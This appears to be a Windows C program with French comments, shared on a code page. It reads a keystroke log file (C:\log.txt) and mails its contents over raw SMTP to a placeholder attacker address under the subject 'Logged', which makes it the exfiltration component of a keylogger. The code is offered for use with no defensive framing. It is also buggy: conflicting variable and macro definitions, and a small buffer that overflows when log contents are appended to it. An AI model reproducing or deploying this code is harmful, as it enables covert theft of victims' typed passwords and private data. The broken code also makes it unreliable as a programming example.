1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135
|
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
char mailserver;
char mailto;
char mailfrom;
char mailsubject;
#define mailserver "ton.serveur.smtp"
#define mailto "adresse@mail.destinataire"
#define mailfrom "adresse@mail.delenvoyeur"
#define mailsubject "Logged"
#define BUFSIZE 800
#define waittime 500
// Attention !!! Il ne faut pas qu'il y ait des points dans le fichier texte, sinon ça signifie que c'est la fin du mail !!!
int main () {
# define TAILLE_MAX 100000
SOCKET sockfd;
WSADATA wsaData;
FILE* fichier = NULL;
char mailline[TAILLE_MAX] = "";
#define bufsize 10000
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
fichier = fopen("C:\\log.txt", "r");
if (fichier != NULL)
{
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */
/* Get socket */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"helo me.somepalace.com\n");
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"MAIL FROM:<");
strncat(line,mailfrom,strlen(mailfrom));
strncat(line,">\n",3);
bytes_sent=send(sockfd,line,strlen(line),0);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"RCPT TO:<");
strncat(line,mailto,strlen(mailto));
strncat(line,">\n",3);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"DATA\n");
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
sleep(waittime);
strcpy(line,"To:");
strcat(line,mailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,mailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,mailsubject);
strcat(line,"\n");
while (fgets(mailline, TAILLE_MAX, fichier) != NULL) // On lit le fichier tant qu'on ne reçoit pas d'erreur (NULL)
{
strcat(line,mailline);
printf("%s", mailline); // On affiche la chaîne qu'on vient de lire
}
fclose(fichier); // On ferme le fichier qui a été ouvert
strcat(line,"\r\n.\r\n"); // . du fin du mail !
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"quit\n");
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
_sleep(3000);
}
else
{
// On affiche un message d'erreur si on veut
}
} |
Partager